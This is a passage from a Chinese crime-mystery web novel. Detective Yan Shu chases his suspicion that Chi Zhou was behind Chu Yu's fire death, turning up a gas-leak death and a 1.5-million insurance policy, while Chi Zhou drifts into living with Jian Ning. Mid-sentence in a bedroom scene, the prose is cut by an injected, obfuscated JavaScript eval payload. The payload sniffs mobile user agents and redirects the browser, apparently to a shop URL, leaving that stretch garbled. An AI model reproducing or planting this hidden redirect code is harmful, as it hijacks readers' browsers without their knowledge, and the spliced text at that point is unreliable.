然而出乎意料的是,除了在提及楚谕母亲之死时瞳孔微缩,迟昼全程表现得异常镇定。 这让严疏第一次怀疑起了自己的判断。或许他们年少时确实相依为命,有着深厚情谊,但后来楚谕订婚,迟昼也有了新恋情,各自有了新的寄托,过往的执念也早已消散。 可若真如此,所有的线索就都断了。他又不得不回到原点,接受楚谕之死纯属意外的结论。 一阵焦躁涌上心头,严疏叼起一根烟。低头点烟时,他注意到自己微微发颤的手,这才惊觉——这颤抖并非源于焦虑,更多的......竟是兴奋。 事实上,从刚才与迟昼面对面的交锋开始,这种兴奋感就一直在血管里奔涌。 正是这份兴奋,让他依然不愿放弃。 严疏折返回去开车,驶上主路,准备回家。车行不久,却见几辆警车闪着顶灯,挤在一条居民楼旁的窄巷里。他已经休假了,闲来无事,便放缓了车速,靠边停下,循着现场惯有的嘈杂声往里走去。 向守在外围的民警出示证件后,他随口问道:“出什么事了?” 见是刑侦支队的同事,对方放松了戒备,朝楼上努了努嘴:“三楼,306可能漏煤气了,味儿挺大。整栋楼都给惊动了,人心惶惶的。” 正说着,120救护车和燃气公司的抢险车辆相继抵达。对讲机里传来报告,说306房门紧闭,无人应答。严疏抬头看了看不算高的楼层,建议道:“让上边的兄弟从邻居家窗户出去,踩着空调外机看看情况。三楼,没什么风险。” 楼上的同事依言行动。片刻后,那名警察回到地面,面色凝重地摇了摇头。 “怎么样?”严疏迎上前问。 “人躺在床上,直挺挺的......怕是没了。” 楼下的指挥者立刻部署:“窗户从外面打不开,准备破门。先疏散楼内居民!”他提高声调,严厉叮嘱,“所有人都注意!动作轻,手机关机,绝对禁止明火!” 严疏既然碰上了,便也留下来帮忙维持秩序。看着面前乱糟糟的场景,脑海中忽然回响起迟昼那句淡漠的话——“每年死于煤气爆炸的人,很多。” 破门后不久,遗体被担架抬了下来。那人嘴边残留着白沫,形态狼狈。医护人员上前做了初步检查,随即无奈地摇了摇头,看样子是不行了。围观的邻居们聚在警戒线外低声议论,说这人平日深居简出,似乎没有正经工作,猜测这或许是一场自杀。言语间听不出多少惋惜,更多的是猎奇,以及庆幸灾难未曾波及自身的侥幸。 严疏的动作顿了顿。“自杀”二字,像一根生锈的针,猝然刺入了他的神经。 刹那间,脑中仿佛有一盏熄灭已久的灯,开始剧烈地、不正常地闪烁起来。明灭不定,光影凌乱,投下支离破碎的痕迹,却不足以照亮任何确切的路径。 他一时无法厘清这突如其来的直觉究竟指向何方,但某种源于职业本能的警觉,已在他心底鸣响。 燃气公司的抢险车很快也抵达现场,检修人员迅速上楼排查,司机则留在车旁待命。严疏略作思索,从口袋里摸出烟盒,有些生疏地抽出一支递过去,同时思忖着该如何搭话。 所幸那司机是个爽快人,接过烟顺手别在耳后,话匣子就打开了:“唉,看着年纪轻轻的,何必呢......” “是啊。”严疏顺着话头应和,职业病却让他忍不住追问:“不过您怎么就断定是自杀?” 司机显然见惯了这种场面,不以为意地摆摆手:“害,现在的燃气设备都有自动保护,比过去那种老式气罐可安全多了。就算操作失误,漏一会儿气它自己就断了。”他掏出打火机点燃那支烟,深吸一口,“时代不同啦,现在纯靠意外就出事,难喽。” 严疏不动声色地放缓语气,让自己听起来更像是在闲聊:“可新闻报道里煤气事故还是不少。前阵子不就有一起?” 司机吐着烟圈解释道:“那也不是万无一失。比如阀门没关紧、软管老化脱落,或者灶具用久了内部堵塞、开裂,保护装置失灵......很多时候真的就是赶巧了。”他又重重吸了一口,摇摇头,“炸都炸了,现场烧得一塌糊涂,根本查不清到底是哪个环节出的问题。我有个朋友专门负责写事故报告,最头疼的就是这种情况。” 严谨也点燃一支烟,听着司机的感慨,只是淡淡笑了笑,没再接话。 “炸都炸了”——司机说得随意,可说者无意,听者有心。 都说水火无情,可二者终究有别。洪水肆虐后,尚能留下断壁残垣,砖是砖,梁是梁,真相总能在狼藉中寻得蛛丝马迹。可烈火不同,它会平等地吞噬一切存在,是彻头彻尾的湮灭——再坚固的实体,在焰火中都难逃被扭曲、碳化、熔融的命运,最终化作无从辨认的灰烬,将所有秘密一并埋葬。 若是意外,为何命运会如此精准地重蹈覆辙?母女二人,相隔十二年,皆以同样惨烈的方式焚于烈焰,甚至都烧得这般彻底,连一丝让人探寻的余地都不肯留。 若非意外,又为何都选择同一种方式?自杀有千百种更温和的抉择,他杀亦有无数更隐蔽的手法。为什么偏偏是火? 指间的烟灰簌簌落下,严疏微微眯眼。 或许,答案就藏在这极致的毁灭里。唯有这般摧枯拉朽的力量,才能如此彻底地抹除某些痕迹——那些深埋于灰烬之下,不能见光的秘密。 他将烟蒂摁灭在路边垃圾桶顶部的沙盘里,转身拉开车门。 引擎发动时,一个决定已然落定。他必须重返汕城河溪镇。 也许所有的答案,都藏在十二年前的那起旧案之中。那里,很可能埋藏着楚谕和迟昼不为人知的过去。 7. 柒 迟昼去汽修店办理了离职。负责人虽没给他好脸色看,但该结的工资倒是分文未少。他在街角的ATM机查了查账户余额,随即拨通了房东电话,告知下个月不再续租。 按照惯例,他本有一个月的缓冲期,可迟昼心并不打算等那么久——只要找到合适的住处,他会立刻搬离。 但在那之前,有件事......他必须亲自确认。 公交车摇摇晃晃抵达城郊。迟昼钻进一条僻静的巷子,越往里走人迹越稀,直到右侧出现一段斑驳的水泥围墙。顺着墙根绕了半圈,养老院的铁艺大门便出现在眼前。上次和简宁同来时天色已晚,此刻在白昼阳光下,这栋建筑更显出了岁月的痕迹。 这家养老院算不上高档,外观朴素得近乎简陋,像上个世纪遗留的社区活动中心。大厅铺着仿红木地板,虽然细看能发现边缘的磨损,但却意外地贴合这里安宁怀旧的氛围。空气里飘散着淡淡的消毒水气味,混合着老人居所特有的温吞气息。 迟昼记得上次来时,老人们正围坐在一起包饺子,笑声与面粉飞扬的场景,曾让他恍惚间产生过“岁月静好”的错觉。 此刻正值午休时分,大厅空荡寂静。他走向服务台,对值班的年轻护工说:“您好,我找李琳李姐。她今天在吗?” “李姐在的,我帮您叫——”话音未落,一个身着护工制服、身材微胖的中年女性正从走廊另一端走来。护工连忙喊道:“李姐!有人找!” 李琳是负责照看简宁母亲的护工组长,北方人,性格爽朗,嗓门洪亮。令人意外的是,她竟还记得迟昼,老远就扬起笑容:“哟,你怎么自己来了?小宁呢?” “正好来附近见个朋友,顺路来看看阿姨。”迟昼面不改色地应道。 “来得正好,老太太刚还闹脾气不肯吃饭呢。”李姐引着他往房间走,一边低声说着老人的近况。走到房门口时,她忽然停下脚步,由衷叹道:“你这男朋友当得可真够上心。现在多少结了婚的,都不见得愿意来这一趟。” 迟昼微微抿唇,牵出一个恰到好处的微笑——像一张精心描画的面具,严丝合缝地贴在脸上。 李姐还在絮絮说着:“小宁那孩子也是真不错,在子女里算来得勤的了。虽然这次隔得稍久了些,但前些天过来时,还特意给我们带了不少点心,说是前阵子忙,多谢我们费心照顾。”她说着又啧啧称赞,“多懂事的姑娘。其实她不必这样的,这是我们分内的工作嘛。” 迟昼自动过滤了后面的话,抓住了关键:“她前几天来过?” “来过呀,待了挺久呢。哎哟你看我这记性,天天忙得晕头转向,日子都过糊涂了。”李姐一拍额头,“就是前天的事。小宁没跟你说吗?” 前天。 那就是......从他住处离开后的第二天。 迟昼的心微微一沉。 “她没提。”他维持着表面的平静,转移了话题:“阿姨她......最近怎么样?” “还是老样子,时清醒时糊涂的,不过糊涂的时候好像更多了些。身子骨倒还硬朗,生活也能自理。平时也不闹,就爱坐在窗边发呆。”李姐叹了口气,“前天小宁来的时候,她正糊涂着,谁都认不得。小宁就假装是新来的护工,说是来给她送饭的,没几句话就把老太太哄得服服帖帖。” 迟昼静静听着,脑海中不禁浮现出那个画面——女子沐浴在午后的阳光里,蹲在老人面前,脸上挂着那种她特有的、天真又温柔的笑容。 那是她的招牌微笑。 李姐爽朗的嗓音打断了他的思绪:“哎,打算啥时候办事啊?到时候可得给我们带喜糖。” 这话像根细刺,轻轻扎进迟昼的心口。他勉强扯出个笑,低声应了句:“还没准备好。” 两人走上二楼。推开虚掩的房门,只见一个瘦小的身影背对着门坐在床沿,正望着楼下空荡荡的院子出神。李姐提高了音量:“王姨,准女婿来看您啦!” 老人依旧怔怔地望着窗外,毫无反应。 迟昼对李姐点点头,示意想单独待会儿。待她离开后,他轻轻走到老人身旁蹲下,柔声问道:“阿姨,您还认得我吗?” 王淑缓缓转过头来,眼神茫然没有焦点,但确实是在看着他。过了好一会儿,她才迟疑地开口:“你是......送水的?” 迟昼的唇角漾开一抹浅笑。若是严疏在此,定会惊讶于他此刻神情中罕见的柔软——那层面具般的阴郁疏离仿佛在阳光下融化了,流露出难得的暖意。 他拉过墙边的椅子坐下:“我是......”话到嘴边突然顿了顿,似乎在斟酌合适的称呼,片刻后才轻声说:“简宁的朋友。” “简宁、简宁......”老人喃喃念着,又转头望向窗外,浑浊的眼中没有半分清明,显然是又糊涂了,“简宁啊......好久没来看我了。” “她前天才来过啊。” 王淑茫然地摇着头,胡七杂八地说着:“没有......好久没来过了......送饭的......你是送水的?” 简宁的父亲前些年刚过世,不到两年母亲就患上了阿尔兹海默症。她要工作无法全天照料,又不放心让母亲独自在家,只好送到养老院。这里虽然有些偏远,但开销其实不小,简宁终日奔波劳碌,无非是盼着母亲能够安度晚年。 阿尔兹海默症患者的话向来不可信。他们时时活在混沌之中,连自己是谁都记不清,自然也没人把他们的呓语当真。迟昼安静地坐在老人身旁,望着阳光中的佝偻背影,心中突然涌起一阵难以名状的酸楚——不知该为遗忘感到悲哀,还是该羡慕这份活在当下的混沌。 他垂下眼眸,不再试图与王淑交流,只是静静地坐在一旁,任由时光在老人平稳的呼吸声与窗外渐斜的阳光中悄然流逝。 待到日头西沉,迟昼才轻轻起身离开。他去找李姐,一路上反复斟酌措辞,却始终找不到合适的表达方式,最终只能试探性地开口:“其实我和简宁一直在商量,想给阿姨换个更好的环境......” “我知道啊。”没想到李姐爽快地接过话头,“小宁前天提过了。没事,我们都希望老人过得好,要是找到合适的地方,让她随时来办手续就行。” “她具体怎么说的?”迟昼脸色微僵,语气里泄露出几分难以掩饰的急切,但很快又恢复了平静。 神经大条的李姐并未察觉异样,随口答道:“就说想换家养老院嘛。” 迟昼却紧追不舍:“她有说具体时间吗?” “这得你们自己商量啊......”接连的追问让李姐终于感到些许不对劲,她困惑地打量着迟昼,忽地恍然大悟般笑道:“怎么?小两口闹矛盾了?” 迟昼微微一怔,随即摇头:“没事,只是有些分歧。今天麻烦您了。” 向李姐道别后,他快步走出养老院。脚步不自觉地加快,等到回过神时,已经站在了公交站台上。 他的确在晃神。一些人与事在脑海中化作支离破碎的剪影,在刺眼的阳光下飘荡不定。明明身处阳光之下,眼前却不时掠过片片黑斑。 迟昼心里再清楚不过——他想将简宁的母亲接走。 但在房间里静坐整个下午之后,这份冲动渐渐沉淀了下来。他其实明白,自己做不到的——养老院所有人都知道他并非直系亲属,没有简宁的授权,他根本无权接走老人。 可即便心知肚明,他还是来了。哪怕只是无所事事地静坐也好,否则这颗心始终悬着。 可是看了就能安心吗? 迟昼苦笑着承认,答案......依然是否定的。这样的探望,只会让他与简宁之间的羁绊越缠越紧,越陷越深。 他的人生,仿佛永远困在这样的死循环里。可对着这样无力的自己,他竟连半分办法都想不出来。 ********* 回到家时已是傍晚。门虚掩着,迟昼未及紧张,便听见屋内传来简宁轻快的哼唱。他贴近门缝,恰看见她端着果篮从厨房走出,轻轻放在桌上。她发侧别着一枚珍珠发卡,莹润的光泽沉甸甸的,不似街边小店的廉价货色,应该是哪里淘的高仿品。 “你怎么进来的?”在简宁察觉之前,迟昼推开了门。 “我有钥匙呀。”简宁见他回来,脸上绽开笑颜,几步迎上前,带着撒娇般的嗔怪:“你去哪儿了呀!我都等好久了!” 在说实话与编造借口之间犹豫了一瞬,迟昼闭了闭眼,选择坦白:“我去......看了你妈妈。” 简宁脸上的笑容未变,可迟昼分明觉得她眼底的光冷了下去。她只轻轻“噢”了一声便转过身,忽然问道:“吃苹果吗?” “等会儿我自己拿。” “我给你削吧,你从来都削不好。”简宁在椅中坐下,拿起那柄细长的厨刀开始削皮。刀身在暮色中泛着冷光,迟昼无意识地看着,从未觉得那反光如此刺眼。 可她甚至无需低头注视,苹果皮便流畅地旋成连贯的长条,一圈圈落在桌上。她手上利落地动着刀,目光却始终落在迟昼身上,再次开口时语气平淡:“跟你说件事,我辞职了。” 迟昼下意识地“嗯?”了一声。 “新工作面试已经过了,待遇不错,收入比之前高不少,你别担心。” 迟昼想质问,出口的话却带着几分飘忽:“你之前不是说,和老板同事处得挺好,舍不得跳槽,想一直做下去吗?” “好是好......”简宁转身进厨房取了只瓷盘,将削好的苹果放在上面,一刀一刀切成均匀的小块,“可我们都不年轻了,总想多赚点钱,我想给妈换家好点的养老院。另外,我把我那套房子退了,我们找个像样点的房子一起租吧。” “你想换哪家养老院?”既然她主动提起,正愁无从开口的迟昼顺势追问。 “还没定呢。哎呀,这些不用你操心。”简宁将盛着苹果的盘子朝他递来。两人之间的距离并不近,他根本无法伸手接到,她却依然固执地伸着手臂,“先说说我们一起租房的事嘛。你觉得怎么样?” 迟昼其实讨厌吃苹果。在几乎没有什么爱吃的水果中,苹果尤甚。从前简宁也常以补充维生素、清热去火为由逼他吃,但那时最多对半切开,两人各执一半,连皮啃下便是,还未曾像现在这样,将其仔细地切成大小相仿的块,如同精致的拼盘,被如此郑重地举到面前。 迟昼望着那盘切得工整匀称的苹果块,知道这样的情境下已无法推拒。他起身向前两步,接过盘子,默默衔起一块苹果。甜脆的果肉在齿间碎裂,汁水弥漫,他却尝不出半分滋味。 “我刚辞了工作,还没找到下家。”他低声说,又拈起一块。 “没事,我有些存款。”简宁的声音轻快而笃定,“我们先一起去看房子,工作可以慢慢找,住的地方定下来最重要。” 迟昼咽下口中食不知味的果肉,深知自己无法拒绝她,只得轻叹:“新工作具体做什么?” “一家精品咖啡店的店长。” “唔。”迟昼颔首,心想这倒与她之前的经历一脉相承。以前简宁一直在一家高级西餐厅负责咖啡饮品,资历也算深厚,转任咖啡店确实也是顺理成章。 “唔什么嘛!”简宁起身坐到他身旁,双手捧起他的脸,不容回避地望进他眼底,半真半假地逼问:“说!你是不是根本不想和我一起住?” 凝视着她那双略带强硬的眼睛,迟昼竟在恍惚之间,捕捉到了心底的爱意。 他忽然有些想笑。心上裂开了一道深痕,涌出的分明该是鲜血,却在某些时刻滚烫如熔岩,甚至......渗着一丝诡异的甜。 迟昼垂下眼眸。 从前的简宁其实很少这般强势逼问,他们的关系本就特殊——他从未给过任何承诺,也无意同居。简宁也知晓他心中有结,而她自有傲骨,从不主动索求。许多事二人彼此心照不宣,正因如此,这段奇怪的关系才得以维系至今。 可她此刻这般霸道的模样,竟让迟昼觉得莫名鲜活。待他回过神,发现自己真的笑了出来——他想,自己大概是疯了。 “随你吧。”他听见自己说。 简宁终于满意,用眼神督促他吃完苹果,这才收回盘子。听着厨房传来的水流声,望着她纤细的背影,一阵万念俱灰的无力感突然将迟昼淹没。 是不是......日子真的可以这样过下去? 就此忘记一切吧,忘记那个......焚身于烈焰的人。 只是......如果当真沿着这条路走下去,直到最后——他究竟算是有始有终的陪伴者,还是无情无义的背叛者? 这世上,倘若真有酆都罗山......在那里,他又该如何与她相见? ———————————— 那天夜里,简宁留了下来。 他们试图□□,但迟昼的内心与身体仿佛被撕裂成了两半。当他低头亲吻简宁时,每一寸触碰都像是冰川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352889|199629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相撞,在旖旎中迸发出突兀的战栗,冷热交织的刺痛让他几乎蜷缩。 他痛苦地喘息着,仿佛这并非鱼水之欢,而是某种针对灵魂的刑罚。 简宁也未能投入,她只是静静地躺着,任由他徒劳地动作。感受到他身上无法抑制的战栗后,她终于无声地叹了口气,抬手轻轻将他推开。 “没事的,这很正常。”简宁侧过身,将被单拉到胸前,伸手环住迟昼。她在昏暗中凝视着他紧绷的侧脸,幽幽开口:“我知道,你心里......放不下她。” 这句话像电流般击中了迟昼。他猛地坐起,无措中摸到了严疏留下的那根烟,便颤抖着划亮一根火柴。烟雾不出所料地卡在喉头,呛得他剧烈咳嗽,眼眶瞬间通红。 “你还是不会抽烟。”简宁支起身,从背后贴上来,下巴轻抵他的肩头。她将迟昼夹着烟的手抓过来,就着吸了一口,皱眉道:“哪来的?太差了吧。” “你什么时候学会抽烟了?”迟昼没有回答,只是微微苦笑。 简宁轻哼一声,带着几分不屑:“这还需要学?无师自通。你以为谁都像你。” 迟昼望着指间明灭的火星,仿佛自言自语:“楚遇也是这样。她第一次抽烟才十几岁,不知道哪弄来的,大概是个装成熟的男生给的。其实......只要她愿意,有的是人争着讨好她。” 他陷入了回忆,烟灰悄然飘落也浑然未觉:“她抽两口就会了,我却始终呛得不行,怎么也过不了肺。她总笑我,说我是个天生的好孩子,有些事永远都学不会。” 他沉浸在回忆里,没有回头,自然也没看见身后那双在黑暗中闪着幽光的眼睛。 烟燃尽了,火星在指间悄然熄灭。 简宁向前倾身,脸颊贴着他的鬓角,声音沙哑:“你,爱她吗?” “你......问过很多次了。” “这次,我要听你亲口说。” 迟昼闭上眼。他明白她的意思。 “她......”他的声音轻得像是怕惊醒什么,“帮我走出了最混乱的日子。” 话音落下,背后的温暖骤然撤离。床垫轻轻一震,迟昼侧首,看见简宁已经躺回原处。预想中的追问没有到来,这让他有些意外。 发现他在看她,简宁转过身,露出一个狡黠的笑:“怎么?以为我会问''那我呢''?” 迟昼不置可否,默默将烟头摁灭。 “我不需要争什么了。”简宁脸上浮现出一个近乎天真的笑容,声音微哑:“她已经死了。” 迟昼缓缓躺下,无言以对,因为她说的没错。无论内心有多少苦衷,无论往事如何啃噬灵魂,生活与时间的轨迹永远会由既成事实书写。除非能够改写过往,除非能令灰烬重燃,除非能将改写后的结局昭告天下,并让所有人都接受认同—— 但即便如此,能让她......从墓中复生吗? 不能。 寂静在两人之间蔓延。简宁背对着他一动不动,迟昼平躺着,凝视着她裸露的肩胛骨,像一只收敛了翅膀的蝶。 人究竟要如何确信,自己对另一个人的认知并非镜花水月?又该如何证明,自己眼中倒映的模样与他人所见如出一辙?更进一步说,一个人到底怎样才算真实?当自我了解、内心认知与他人眼中的镜像彼此撕裂,当所有的“真实”都各执一词——一个存在的本体,究竟该以哪一面的剖白为准? 迟昼突然回过神来,在黑暗中无声地牵了牵嘴角。他居然在深夜与虚空对峙,思考起如此虚无的哲学命题。 真是无聊。 他紧闭双眼试图入睡,意识却始终清醒得可怕。时间在黑暗中缓慢流淌,不知过了多久,身侧传来细微的动静。迟昼强压下睁眼的冲动,维持着平稳的呼吸,听着简宁踩着拖鞋在地板上走了两步——从声音判断,并非走向卫生间。 他悄悄将眼帘掀开一道缝,朦胧中看见简宁正坐在窗边的椅子上看手机。荧荧冷光映着她的侧脸,在黑暗中勾勒出清冷的轮廓。那光有些刺眼,将她的表情映得疏离而陌生,仿佛隔着一层毛玻璃般模糊。 幽微的光晕意外催生了困意。在陷入沉睡的前一刻,迟昼恍惚觉得——或许是因为手机的投影——她白皙的脖颈上,好像有一道浅浅的疤痕。 次日醒来时,枕畔早已空无一人。床头柜上压着一张字条,说她下午有入职培训,先回去收拾。转头望去,旁边桌上摆着还温热的早餐,包装精致,是他常提的那家店。 是幸福该有的模样。曾经梦寐以求的,不过如此。 迟昼抬手用手背覆住双眼,深深吸气。 他试图说服自己就这样继续下去,却像一台检修后仍旧故障不断的机器,在每个本该顺畅运行的间隙,总会发出异响——提醒着他某些零件早已错位,只不过被强行塞回了原处。 ********* 新居找得出乎意料的顺利。简宁的新工作位于房价相对亲民的区域,距离迟昼现在的住处足有三四十公里,可以说是个基本陌生的新环境了。他们在她公司三公里半径内看了几处房源,很快就定了下来——一套两居室,户型规整,有独立的客厅,能放下电视柜和沙发,卧室私密性也好。装修简洁体面,透着崭新的气息。 只是租金有些超出预算。按迟昼的想法,本不必选内饰这么讲究的,家具少几件也无妨。但简宁却是真心喜欢,没多商量就与中介拍板定下。迟昼站在她身后,还想再说些什么,最终也只是张了张嘴,将话咽回肚里,化作一声无可奈何的叹息。 遵照简宁的意愿,迟昼开始寻找工作。得益于扎实的技术功底和多年经验,他其实不难找到活计。事实上,若不是之前情绪失控彻底坏了规矩,汽修厂的老板也舍不得放他走。 技术活的好坏一眼便知。他去一家品牌4S店试了试手,当天就签了合同,薪资还比之前在私人店里高了一截。办完入职手续走出店门,一只不知名的鸟儿扑棱着从眼前掠过,啼声清亮。他下意识抬眼去追,却被明晃晃的阳光刺得眯起了眼。 那一瞬间,迟昼竟恍惚生出一种生活正在好转的错觉。 明明几天前还计划着独自逃离,如今却已被人拉着踏入了同居生活。 他从来都是个随波逐流的人。从前是,现在不例外,往后......大抵也改不掉。 只不过,从前推着他向前的那道浪潮名为楚遇。 而今...... 换成了简宁。 8. 捌 严疏原本已经收拾妥当,准备动身前往楚谕和迟昼的老家走访。临出发前,却被赵队一个电话紧急召回了局里。 他原以为又是一顿训斥,谁知刚踏进大门,还没见到赵队,两位西装革履的男子便迎了上来:“您就是赵队长说的严警官吧?” 严疏有些意外:“是我。你们是......” 其中一人递来名片。看清上面的字样时,严疏怔住了——保险公司。这个身份在此刻出现,显得格外突兀。 他环顾四周,发现之前负责悦澜湾火灾案的同事都不在,显然是被支开了。严疏心下明了,赵队特意叫他回来,美其名曰“协助记录”,实则已是一种无声的默许。 当目光落在赔偿金额栏的“一百五十万”时,严疏深吸了一口气。根本无需办案经验,任谁都明白——但凡涉及高额保险,且投保不久便触发理赔的,意外的可能性几乎就微乎其微。 只是严疏不得不承认,自己确实疏忽了这一层。他从未想过,真相可能会以如此直白的方式呈现。 怎么说呢? 没意思。他原本以为,这背后藏着千丝万缕的联系、更深沉的隐情,也正是这份对复杂真相的执着,才让他仅凭直觉就紧咬不放。 两位保险调查员在来警局前,已先去悦澜湾物业处做过了核查——毕竟年轻女性投保意外险后短期身亡,本就值得警惕。但案情其实相当清晰,他们觉得无需深入追究,是以此行仅是例行通报,并无刁难之意。 保单上密密麻麻排满了小字,还是中英双语对照,看得严疏太阳穴突突直跳。他略过复杂沉疴的条款,直接翻到受益人一栏—— 那个名字,既在意料之外,又处情理之中。 迟昼。 严疏的手指猛地收紧,将纸张捏出褶皱,眉头死死锁住。 说实话,经过两次交锋,他内心其实已排除了迟昼的嫌疑,之所以紧咬不放,无非是想撬开当年那桩旧案的口子,看看能否与楚谕之死联系起来。 可这份保单的出现,让那脆弱的平衡瞬间被打破。 那小子的戏,难道真就天衣无缝? 看着面前的二人,严疏觉得情况有些棘手。他无法告知此案有疑,一来缺乏实质证据,二来案件官方已结,必须遵循既定结论。从法律层面看,已经无人能阻止这笔保险金流入迟昼的账户——可一旦钱到手,迟昼便可以远走高飞,甚至出国都有可能。 想到此处,严疏的太阳穴阵阵抽痛。 “条款太专业,劳驾二位解释一下。”他稳住心神,将保单推回,不自觉地咬紧后槽牙,试图寻找可能的突破口:“按常理,人身保险的受益人不该是直系亲属吗?” 面对警察的询问,调查员显得很有耐心:“原则上是这样,但并非绝对。毕竟很多人确实已没有直系亲属在世,但他们同样享有投保的权利。”他指了指保单上的公司标识,补充道:“况且我们是外资企业,在这方面比国内同行更灵活。只要手续合规,审查无误,且经双方知情同意,指定直系亲属以外的受益人是被允许的。” 严疏强压焦躁:“请详细说说这张保单的情况。” 另一位调查员接过话头:“楚女士的情况其实很清晰。最初的受益人确实是她父亲,只是后来其父自愿放弃了权益。经我们核实,这位父亲在楚女士的成长过程中也确实并未尽到义务......” “等等!”严疏猛地打断,难掩惊讶,“你是说......楚谕的父亲还在?” 调查员肯定地点头:“至少在投保时依然健在。” 严疏神色变幻,低声道:“明白了,请继续。” “根据我们的走访,楚女士的父亲早年背叛家庭,父女关系早已名存实亡。定保时,楚女士本就不愿将其列为受益人,只是碍于情面难以启齿。后来其父主动声明放弃,明确表示自己已有新家庭,与楚女士的一切相关事务均无关联。我们因此更新了条款,将迟先生添加为受益人。” “这是楚谕主动提出的?” “是的。楚女士向我们表示,迟先生与她相识多年,对她意义非凡,可视作挚友与亲人。我们也对迟先生做了完备的背景调查,所有资料均符合要求,完全可以通过审查。” 挚友、亲人、意义非凡。 这是楚谕对迟昼的定义。 可严疏分明记得迟昼曾亲口说过,他们只是“不常联系的同学”。 看来,有人在说谎。 ———————————— 两位调查员确认警方以意外结案后便准备告辞。严疏将二人送至门口,突然心念一动:“我多问一句,二位接下来是要去找迟昼办理签字手续吗?” “是的。之后就是履行合同,进入赔付流程。” 严疏点头,本欲到此为止,却终究按捺不住:“还有一个问题。你们是如何得知楚谕身故的?这并非登上头条的天灾或重大事故,报道时也做了隐□□理。是迟昼主动拿着保单联系你们的吗?” 两位保险调查员闻言一怔,交换了个眼神,都察觉出这位警官问得有些过于深入。他们本就是做调查的,出于职业本能,其中一人便揣测着严疏的意图,试探着反问:“这个案子......是还有什么我们不了解的内情吗?” 严疏想起赵队的警告,急忙收敛神色:“没有没有,纯粹是我个人好奇。” 这番生硬的转折让二人颇感莫名,但碍于对方身份,还是答道:“涉及赔付,总会有人主动联系。若当事人不便前来,通过邮件提交材料也可以。同时,我们也会定期进行客户回访。”见严疏不再追问,他们便客气地握手道别:“那我们先告辞了。” 目送二人的车驶远,严疏回味着刚才的答复。听起来,迟昼并未露面,而是通过邮件告知了保险公司楚谕意外身故的消息。 他掏出一支烟点燃,深深吸了一口,试图平复适才的冲击。 若这一切真是迟昼精心策划的局,那此人可谓布下了一盘旷日持久的大棋——冷静、耐心、决绝。 从保单时间来看,楚谕购买意外险时,已与宋朗确定了关系。可她不仅未将未婚夫设为受益人,甚至向对方隐瞒了父亲仍然在世的事实。 当然,对楚谕而言,那样的一个父亲,可能确实与“已故”无异,不愿多提也在情理之中。可如果真是如此,为何最初要将受益人写成父亲,之后才改为迟昼?面对一个长眠于心底的人,也会抹不开面子吗? 倘若这一切真的别有用心,那么这位“父亲”,恐怕只是个掩人耳目的幌子。至于效果......从刚才两位调查员的反应来看,他们显然对这一变更接受得相当顺畅。 ———————————— “严疏,折腾这么久了,到底有没有底?”保险公司的人前脚刚走,严疏后脚就被赵队叫进了办公室。 “一百五十万的保金,您说这底该不该有?” “如果真是杀人骗保,确实不是小案子。”赵队的立场显然已经开始偏向严疏,但随即话锋一转:“但还是老话,证据!你得给我拿出实打实的、至少能把人带回来问话的证据。只要有一个立得住脚的,我就给你往上打报告,就算不能立案,也先重启调查。” “一言为定!” 严疏利落地起身往外走,到门口又折返回来,搓了搓手:“那您......能不能再多批我几天假?” “准了准了!但我告诉你,要是最后搞不出名堂,我扣你全年奖金!” 严疏得到满意答复,笑了笑带上门离开。至于奖金,他本就不甚在意——按他被投诉的频率,不被扣钱已是万幸。 他驾车驶离警局。如果说之前他追寻的是真相,那么此刻,更多了一种针对迟昼本人的、执拗的胜负欲。 转动方向盘,严疏快速盘算着下一步。保险公司的人显然会立刻去找迟昼,甚至可能已经约好。既然如此,他不如也跑一趟。 打定主意,他径直开往迟昼的住处。刚接近目的地,便瞧见了保险公司的那辆轿车。他保持距离靠边停下,从这个角度刚好能瞥见单元门。 不到十分钟,迟昼便将那两人送了出来。看来保险公司毫无疑虑,双方交谈顺利,气氛客气。那辆车调头驶离时与严疏擦身而过,为免节外生枝,他下意识侧脸回避。 待保险公司的车远去,严疏立刻驱车上前,在迟昼转身回去前降下车窗:“迟昼!” 迟昼脚步一滞,无需回头便知来者何人。他叹了口气,缓缓转过身:“严警官,要不你直接把我抓进去算了。” “这叫什么话,怎么能随便抓良好市民呢。”严疏发觉一向社交笨拙的自己,在迟昼面前竟不知为何格外放松,连调侃都能信手拈来:“我是来道喜的。一百五十万啊,往后生活可大不一样了。考不考虑做点理财?” “没什么不一样。”迟昼语气平淡,无意回应他的试探。 严疏故作惋惜地叹气:“真羡慕你啊,我怎么就没个这样的老相好呢。” 迟昼无声地嗤笑。这人,是铁了心要跟他纠缠到底了,真不知道是警察,还是流氓。 “如果你了解楚谕的家庭环境,就会明白她有多缺乏安全感,买保险只是寻求一份保障。”迟昼走回严疏车边,俯身趴在窗框上:“我劝过她写别人,但她说不出事就用不上,只是随便填填。我也只是想让她安心。” “所以,之后不会还有第二份、第三份‘随便填填’的保单吧?”严疏收敛笑意,眯起眼睛。 迟昼反而笑了:“我不记得了,但应该没有。” 严疏凝视着那双近在咫尺的眼眸,可那瞳孔深处却像两潭不见底的死水,任他如何审视,都未曾泛起一丝涟漪。 他干了十几年刑警,见过太多戴着面具生活的人——有表面品学兼优却内里扭曲的优等生,有故作强硬实则色厉胆薄的纸老虎。每个人的行为模式,或多或少都会在某个瞬间露出破绽,就像再精密的机械,也总有运转的规律可循。 可他看不透眼前这个人。 严疏缓缓收回视线,点燃一支烟。尼古丁的气息在肺里转了个圈,却没能驱散心头的迷雾。他抬起头,看着烟圈在两人之间缓缓消散,而迟昼始终保持着那个恰到好处的距离。 “你这个人......”严疏的声音里带着罕见的茫然,这种情绪对他而言陌生得令人不安:“我看不透。说实话,我分不清你哪句是真,哪句是假。甚至你这个人......整个儿都透着一股不存在的虚幻,有时候我都怀疑你是否还真‘活着’。”他深吸一口烟,话语里重新带上试探:“我也不知道,你这副模样是专程演给我看的,还是早就习惯了这样。” 